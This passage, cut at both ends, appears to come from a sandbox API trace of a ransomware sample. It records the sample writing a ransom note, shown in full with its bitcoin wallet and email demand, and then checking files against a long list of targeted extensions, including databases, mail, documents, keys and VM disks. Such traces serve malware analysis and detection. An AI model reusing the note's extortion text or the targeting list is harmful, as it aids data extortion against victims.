HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\*.*") returned="*.*" [0085.801] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\" [0085.801] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\") returned="" [0085.801] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\HOW TO DECRYPT FILES.txt" [0085.801] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\1\\f6\\how to decrypt files.txt")) returned 0xffffffff [0085.802] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\1\\f6\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa8 [0085.803] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0085.803] WriteFile (in: hFile=0xa8, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0085.804] SetFileTime (hFile=0xa8, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0085.804] CloseHandle (hObject=0xa8) returned 1 [0085.804] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\", lpString2="CBD4Dd01" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\CBD4Dd01") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\CBD4Dd01" [0085.804] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\CBD4Dd01", pszSpec="*.ems") returned 0 [0085.804] lstrlenA (lpString="*.ems") returned 5 [0085.804] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\CBD4Dd01", pszSpec="*.db") returned 0 [0085.804] lstrlenA (lpString="*.db") returned 4 [0085.804] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\CBD4Dd01", pszSpec="*.dbf") returned 0 [0085.804] lstrlenA (lpString="*.dbf") returned 5 [0085.804] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\CBD4Dd01", pszSpec="*.myox") returned 0 [0085.804] lstrlenA (lpString="*.myox") returned 6 [0085.804] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\CBD4Dd01", pszSpec="*.myo") returned 0 [0085.804] lstrlenA (lpString="*.myo") returned 5 [0085.804] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\CBD4Dd01", pszSpec="*.qbw") returned 0 [0085.804] lstrlenA (lpString="*.qbw") returned 5 [0085.804] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\CBD4Dd01", pszSpec="*.qbb") returned 0 [0085.804] lstrlenA (lpString="*.qbb") returned 5 [0085.805] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\CBD4Dd01", pszSpec="*.qbm") returned 0 [0085.805] lstrlenA (lpString="*.qbm") returned 5 [0085.805] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\CBD4Dd01", pszSpec="*.qbo") returned 0 [0085.805] lstrlenA (lpString="*.qbo") returned 5 [0085.805] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\CBD4Dd01", pszSpec="*.qbx") returned 0 [0085.805] lstrlenA (lpString="*.qbx") returned 5 [0085.805] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\CBD4Dd01", pszSpec="*.qba") returned 0 [0085.805] lstrlenA (lpString="*.qba") returned 5 [0085.805] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\CBD4Dd01", pszSpec="*.qby") returned 0 [0085.805] lstrlenA (lpString="*.qby") returned 5 [0085.805] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\CBD4Dd01", pszSpec="*.qbj") returned 0 [0085.805] lstrlenA (lpString="*.qbj") returned 5 [0085.805] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\CBD4Dd01", pszSpec="*.ofx") returned 0 [0085.805] lstrlenA (lpString="*.ofx") returned 5 [0085.805] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\CBD4Dd01", pszSpec="*.qif") returned 0 [0085.805] lstrlenA (lpString="*.qif") returned 5 [0085.805] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\CBD4Dd01", pszSpec="*.mye") returned 0 [0085.805] lstrlenA (lpString="*.mye") returned 5 [0085.805] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\CBD4Dd01", pszSpec="*.mbox") returned 0 [0085.805] lstrlenA (lpString="*.mbox") returned 6 [0085.805] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\CBD4Dd01", pszSpec="*.eml") returned 0 [0085.805] lstrlenA (lpString="*.eml") returned 5 [0085.805] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\CBD4Dd01", pszSpec="*.pst") returned 0 [0085.805] lstrlenA (lpString="*.pst") returned 5 [0085.805] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\CBD4Dd01", pszSpec="*.ost") returned 0 [0085.805] lstrlenA (lpString="*.ost") returned 5 [0085.805] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\CBD4Dd01", pszSpec="*.idx") returned 0 [0085.805] lstrlenA (lpString="*.idx") returned 5 [0085.805] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\CBD4Dd01", pszSpec="*.dbx") returned 0 [0085.805] lstrlenA (lpString="*.dbx") returned 5 [0085.806] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\CBD4Dd01", pszSpec="*.sql") returned 0 [0085.806] lstrlenA (lpString="*.sql") returned 5 [0085.806] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\CBD4Dd01", pszSpec="*.mdb") returned 0 [0085.806] lstrlenA (lpString="*.mdb") returned 5 [0085.806] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\CBD4Dd01", pszSpec="*.fdb") returned 0 [0085.806] lstrlenA (lpString="*.fdb") returned 5 [0085.806] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\CBD4Dd01", pszSpec="*.wab") returned 0 [0085.806] lstrlenA (lpString="*.wab") returned 5 [0085.806] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\CBD4Dd01", pszSpec="*.dat") returned 0 [0085.806] lstrlenA (lpString="*.dat") returned 5 [0085.806] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\CBD4Dd01", pszSpec="*.txt") returned 0 [0085.806] lstrlenA (lpString="*.txt") returned 5 [0085.806] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\CBD4Dd01", pszSpec="*.jpeg") returned 0 [0085.806] lstrlenA (lpString="*.jpeg") returned 6 [0085.806] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\CBD4Dd01", pszSpec="*.jpg") returned 0 [0085.806] lstrlenA (lpString="*.jpg") returned 5 [0085.806] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\CBD4Dd01", pszSpec="*.png") returned 0 [0085.806] lstrlenA (lpString="*.png") returned 5 [0085.806] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\CBD4Dd01", pszSpec="*.php") returned 0 [0085.806] lstrlenA (lpString="*.php") returned 5 [0085.806] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\CBD4Dd01", pszSpec="*.cs") returned 0 [0085.806] lstrlenA (lpString="*.cs") returned 4 [0085.806] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\CBD4Dd01", pszSpec="*.cpp") returned 0 [0085.806] lstrlenA (lpString="*.cpp") returned 5 [0085.806] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\CBD4Dd01", pszSpec="*.rar") returned 0 [0085.807] lstrlenA (lpString="*.rar") returned 5 [0085.807] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\CBD4Dd01", pszSpec="*.zip") returned 0 [0085.807] lstrlenA (lpString="*.zip") returned 5 [0085.807] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\CBD4Dd01", pszSpec="*.html") returned 0 [0085.807] lstrlenA (lpString="*.html") returned 6 [0085.807] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\CBD4Dd01", pszSpec="*.htm") returned 0 [0085.807] lstrlenA (lpString="*.htm") returned 5 [0085.807] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\CBD4Dd01", pszSpec="*.xlsx") returned 0 [0085.807] lstrlenA (lpString="*.xlsx") returned 6 [0085.807] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\CBD4Dd01", pszSpec="*.xls") returned 0 [0085.808] lstrlenA (lpString="*.xls") returned 5 [0085.808] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\CBD4Dd01", pszSpec="*.mp4") returned 0 [0085.808] lstrlenA (lpString="*.mp4") returned 5 [0085.808] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\CBD4Dd01", pszSpec="*.ppt") returned 0 [0085.808] lstrlenA (lpString="*.ppt") returned 5 [0085.808] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\CBD4Dd01", pszSpec="*.pptx") returned 0 [0085.808] lstrlenA (lpString="*.pptx") returned 6 [0085.808] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\CBD4Dd01", pszSpec="*.doc") returned 0 [0085.808] lstrlenA (lpString="*.doc") returned 5 [0085.808] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\CBD4Dd01", pszSpec="*.dot") returned 0 [0085.808] lstrlenA (lpString="*.dot") returned 5 [0085.808] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\CBD4Dd01", pszSpec="*.docx") returned 0 [0085.808] lstrlenA (lpString="*.docx") returned 6 [0085.808] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\CBD4Dd01", pszSpec="*.7z") returned 0 [0085.808] lstrlenA (lpString="*.7z") returned 4 [0085.808] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\CBD4Dd01", pszSpec="*.tar") returned 0 [0085.808] lstrlenA (lpString="*.tar") returned 5 [0085.808] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\CBD4Dd01", pszSpec="*.bz2") returned 0 [0085.808] lstrlenA (lpString="*.bz2") returned 5 [0085.808] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\CBD4Dd01", pszSpec="*.gz") returned 0 [0085.808] lstrlenA (lpString="*.gz") returned 4 [0085.808] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\CBD4Dd01", pszSpec="*.mkv") returned 0 [0085.809] lstrlenA (lpString="*.mkv") returned 5 [0085.809] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\CBD4Dd01", pszSpec="*.eml") returned 0 [0085.809] lstrlenA (lpString="*.eml") returned 5 [0085.809] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\CBD4Dd01", pszSpec="*.msg") returned 0 [0085.809] lstrlenA (lpString="*.msg") returned 5 [0085.809] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\CBD4Dd01", pszSpec="*.edb") returned 0 [0085.809] lstrlenA (lpString="*.edb") returned 5 [0085.809] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\CBD4Dd01", pszSpec="*.accdb") returned 0 [0085.809] lstrlenA (lpString="*.accdb") returned 7 [0085.809] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\CBD4Dd01", pszSpec="*.odb") returned 0 [0085.809] lstrlenA (lpString="*.odb") returned 5 [0085.809] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\CBD4Dd01", pszSpec="*.java") returned 0 [0085.809] lstrlenA (lpString="*.java") returned 6 [0085.809] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\CBD4Dd01", pszSpec="*.asm") returned 0 [0085.809] lstrlenA (lpString="*.asm") returned 5 [0085.809] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\CBD4Dd01", pszSpec="*.pfx") returned 0 [0085.809] lstrlenA (lpString="*.pfx") returned 5 [0085.809] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\CBD4Dd01", pszSpec="*.pem") returned 0 [0085.809] lstrlenA (lpString="*.pem") returned 5 [0085.809] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\CBD4Dd01", pszSpec="*.p12") returned 0 [0085.809] lstrlenA (lpString="*.p12") returned 5 [0085.809] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\CBD4Dd01", pszSpec="*.gpg") returned 0 [0085.809] lstrlenA (lpString="*.gpg") returned 5 [0085.809] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\CBD4Dd01", pszSpec="*.vsd") returned 0 [0085.809] lstrlenA (lpString="*.vsd") returned 5 [0085.809] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\CBD4Dd01", pszSpec="*.odg") returned 0 [0085.809] lstrlenA (lpString="*.odg") returned 5 [0085.810] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\CBD4Dd01", pszSpec="*.raw") returned 0 [0085.810] lstrlenA (lpString="*.raw") returned 5 [0085.810] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\CBD4Dd01", pszSpec="*.nef") returned 0 [0085.810] lstrlenA (lpString="*.nef") returned 5 [0085.810] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\CBD4Dd01", pszSpec="*.svg") returned 0 [0085.810] lstrlenA (lpString="*.svg") returned 5 [0085.810] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\CBD4Dd01", pszSpec="*.psd") returned 0 [0085.810] lstrlenA (lpString="*.psd") returned 5 [0085.810] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\CBD4Dd01", pszSpec="*.vmx") returned 0 [0085.810] lstrlenA (lpString="*.vmx") returned 5 [0085.810] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\CBD4Dd01", pszSpec="*.vmdk") returned 0 [0085.810] lstrlenA (lpString="*.vmdk") returned 6 [0085.810] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\CBD4Dd01", pszSpec="*.vdi") returned 0 [0085.810] lstrlenA (lpString="*.vdi") returned 5 [0085.810] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\CBD4Dd01", pszSpec="*.lay6") returned 0 [0085.810] lstrlenA (lpString="*.lay6") returned 6 [0085.810] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\CBD4Dd01", pszSpec="*.mpeg") returned 0 [0085.810] lstrlenA (lpString="*.mpeg") returned 6 [0085.810] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\CBD4Dd01", pszSpec="*.djvu") returned 0 [0085.810] lstrlenA (lpString="*.djvu") returned 6 [0085.810] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\CBD4Dd01", pszSpec="*.tiff") returned 0 [0085.810] lstrlenA (lpString="*.tiff") returned 6 [0085.810] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\CBD4Dd01", pszSpec="*.backup") returned 0 [0085.810] lstrlenA (lpString="*.backup") returned 8 [0085.810] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\CBD4Dd01", pszSpec="*.pdf") returned 0 [0085.810] lstrlenA (lpString="*.pdf") returned 5 [0085.811] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\CBD4Dd01", pszSpec="*.cert") returned 0 [0085.811] lstrlenA (lpString="*.cert") returned 6 [0085.811] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\CBD4Dd01", pszSpec="*.docm") returned 0 [0085.811] lstrlenA (lpString="*.docm") returned 6 [0085.811] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\CBD4Dd01", pszSpec="*.xlsm") returned 0 [0085.811] lstrlenA (lpString="*.xlsm") returned 6 [0085.811] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\CBD4Dd01", pszSpec="*.dwg") returned 0 [0085.811] lstrlenA (lpString="*.dwg") returned 5 [0085.811] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\CBD4Dd01", pszSpec="*.nd") returned 0 [0085.811] lstrlenA (lpString="*.nd") returned 4 [0085.811] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\CBD4Dd01", pszSpec="*.tlg") returned 0 [0085.811] lstrlenA (lpString="*.tlg") returned 5 [0085.811] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\CBD4Dd01", pszSpec="*.lgb") returned 0 [0085.811] lstrlenA (lpString="*.lgb") returned 5 [0085.811] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS 